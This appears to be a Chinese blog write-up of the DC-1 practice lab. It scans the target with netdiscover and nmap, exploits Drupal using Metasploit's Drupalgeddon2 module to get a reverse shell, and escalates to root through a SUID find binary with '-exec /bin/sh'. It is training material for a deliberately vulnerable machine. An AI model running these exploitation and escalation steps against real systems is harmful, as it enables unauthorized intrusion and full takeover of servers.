DC-1

靶机准备

导入虚拟机设置网络为NAT
kali:192.168.164.137
扫描获得靶机ip:192.168.164.182

netdiscover -r 192.168.164.0/24

image

渗透测试

扫描端口

nmap -sS -sV -T5 -A -p- 192.168.164.182

开放如下端口
image
发现是Drupal应用
image
直接上metasploit里搜利用:
image

msfconsole
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set rhosts 192.168.164.182
exploit

轻松拿到反弹shell
image
查看id,不是root权限
image
查找一下有哪些有root权限的程序

find / -perm -u=s -type f 2>/dev/null

image
找一个可读的文件吧,重新弹一个shell出来

/usr/bin/find /var/www/COPYRIGHT.txt -exec /bin/sh \;

image
已经是root权限了
找flag
image

posted @ 2021-09-25 17:03  朝朝_暮暮  阅读(92)  评论(0)    收藏  举报